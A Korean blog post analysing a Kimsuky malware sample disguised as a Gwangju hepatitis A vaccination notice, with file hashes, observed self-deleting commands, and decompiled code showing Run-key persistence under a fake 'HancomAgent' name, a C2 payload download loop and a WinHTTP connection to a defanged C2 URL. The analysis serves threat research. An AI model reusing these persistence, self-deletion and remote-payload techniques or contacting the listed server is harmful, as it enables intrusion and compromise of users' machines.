꿈을꾸는 파랑새

오늘은 북한 김수키 에서 만든 악성코드인 국내 A형간염 현황 및 예방접종 권고 대상자 안내.pdf.scr.exe에 대해서 간단하게 알아보는 시간을 가져 보겠습니다.
ファイル名:국내 A형간염 현황 및 예방접종 권고 대상자 안내.pdf.scr.exe
サイズ:3 MB
MD5:0f3e5058154de146fb3f1921c7f89952
SHA-1:6a79104f950c73b4a74231765389780f89d899fb
SHA-256:6bc272a88d1eec9d561c09920e42793bb4c3d29b4da0fa57c553c4f9be28bafd
입니다.
GO 기반 런처->및 HancomAgent 다운로더를 활용하여 페이로드를 유포를 하고 있습니다.

원본 PDF 파일 과 미끼 PDF 파일 비교
원본 PDF 파일 과 미끼 PDF 파일 비교

일단 해당 악성코드는 구글로 검색을 해보면 광주광역시청에서 국내 A형간염 현황 및 예방접종 권고 대상자 안내를 사용해서 악성코드를 유포한 것으로 추측되면 아마도 광주광역시 시민을 대상으로 공격한 것이 아닐까? 생각이 됩니다. 악성코드에 포함된 PDF를 보면 광주광역시에서 발행한 것을 원본 PDF와 비교하면 똑같은 것을 확인할 수가 있습니다.
일단 먼저 해당 악성코드를 실행하면 다음과 같이 동작을 합니다.

원본 PDF 파일 과 미끼 PDF 파일 비교 2
원본 PDF 파일 과 미끼 PDF 파일 비교 2

cmd.exe /c start 국내 A형간염 현황 및 예방접종 권고 대상자 안내.pdf
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1(xffffffff 같은 값은 명시적 부모 핸들 없음/특별 플래그로서 독립 실행 또는 시스템 호출 방식으로 생성 그리고 내부 콘솔 핸들 및 구버전 모드 실행 옵션)
c:\programdata\StackTemp.log 에 StackTemp.log 파일 생성
cmd.exe /c timeout /t 3 & del /q "C:\Users\user\Desktop\국내 A형간염 현황 및 예방접종 권고 대상자 안내.pdf.scr.exe
명령 프롬프트를 사용해서 먼저 3초 동안 기다린 다음(timeout /t 3) 이어서 지정된 경로에 있는 국내 A형간염 현황 및 예방접종 권고 대상자 안내.pdf.scr.exe 파일을 사용자에게 묻지 않고 따지지도 않고 즉시 삭제(del /q)

3 초 원본 파일 삭제
3 초 원본 파일 삭제

그리고 나서 국내 A형간염 현황 및 예방접종 권고 대상자 안내.pdf 실행을 합니다. 내용은 뭐~A형 감염과 A형간염 예방 접종 대상에 대해서 확인을 할 수가 있습니다.

레지스터리 등록

wcscpy(SubKey, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
if ( !RegCreateKeyExW(HKEY_CURRENT_USER, SubKey, 0, 0, 0, 0x20006u, 0, &hKey, 0) )

wcscpy(String1, L"c:\\windows\\system32\\rund1132.exe \"");
memset(&String1[35], 0, 0x3BAu);
memset(Filename, 0, sizeof(Filename));
GetModuleFileNameW(v7, Filename, 0x200u);
lstrcatW(String1, Filename);
lstrcatW(String1, L"\" Start");
v9 = -1;
while ( String1[++v9] != 0 )

RegSetValueExW(hKey, L"HancomAgent", 0, 1u, String1, 2 * v9 + 2);
RegCloseKey (hKey);

while ( 1 )
{

LODWORD (hKey) = 0;
v11 = download_payload_from_c2(v8, &hKey);
v13 = v11;
if ( hKey | | v11 )

decrypt_and_decompress_payload(v12, v11);
if ( v13 )
free(v13);

v14 = 10;
do

Sleep(0x3E8u);

}

HancomAgent
HancomAgent

코드 분석

SubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 준비
RegCreateKeyExW(HKEY_CURRENT_USER, SubKey, ...)로 Run 레지스트리 키를 생성
String1을 c:\windows\system32\rund1132.exe 로 초기화
현재 모듈의 경로를 GetModuleFileNameW()로 붙여 \ Start까지 사용
결과:레지스트리 값은 c:\windows\system32\rund1132.exe "C:\path\to\this.exe" Start
RegSetValueExW(hKey, L"HancomAgent", ..., String1, ...)로 HKCU...\Run\HancomAgent 에 위 명령줄을 등록(부팅, 로그온 시 자동실행 설정)
레지스트리 키 닫음.
무한 루프: download_payload_from_c2(v8, &hKey) 호출: C2(명령서버)로부터 페이로드 다운로드
반환 값/출력 포인터 확인 후 decrypt_and_decompress_payload(...) 호출:다운로드된 데이터 복호화 및 압축해제
해제된 메모리는 free()로 해제->반복 지연(sleep) 루프(일정 시간대기) 그리고 나서 주기적으로 C2에서 페이로드를 가져옴

원격 서버 연결

WinHttpOpen
WinHttpOpen

if ( InternetCanonicalizeUrlW(
L"hxxp://attach(.)docucloud(.)o-r(.)kr/FreeDownload(.)php",
szBuffer,
&dwBufferLength,
0x2000000u) )

v7 = InternetCrackUrlW(szBuffer, 0, 0, &UrlComponents);
if ( v7 )

nPort = UrlComponents.nPort;
nScheme = UrlComponents.nScheme;

else

nScheme = INTERNET_SCHEME_UNKNOWN;

if ( v7 && nScheme == INTERNET_SCHEME_GOPHER )
v5 = 0x800000;

v9 = WinHttpOpen(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
4u,
0,
0,
0);
v10 = v9;
if ( !v9 )
return 0;
v11 = WinHttpConnect(v9, pswzServerName, nPort, 0);
if ( v11 )

분석

URL을 정규화하고 파싱한 뒤 WinHTTP 세션을 열어 원격 서버에 연결하는 동작
1.URL 정규화
URL hxxp://attach(.)docucloud(.)o-r(.)kr/FreeDownload(.)php 을 정규화
szBuffer에 결과 저장
URL의 중복 요소 제거, 퍼센트 인코딩 등 표준화 작업
2. URL 구문분석
InternetCrackUrlW 이 URL_COMPONENTS 구조체를 채움
파싱에 성공하면 포트(nPort)와 스킴(nScheme)을 추출
실패시 INTERNET_SCHEME_UNKNOWN 으로 설정
3.스킴별 동작
GOPHER 라면 0x800000 값을 설정

Gopher 지원이나 프로토콜별 처리 분기를 암시
4.WinHTTP 세션 열기 및 연결
User-Agent 문자열로 WinHttpOpen을 호출
WinHttpConnect 로 pswzServerName 과 nPort 에 연결을 시도
이후 WinHttpOpenRequest,WinHttpSendRequest 등으로 요청을 보냄
이렇게 간단하게 국내 A형간염 현황 및 예방접종 권고 대상자 안내 악성코드에 대해 분석을 해보았습니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band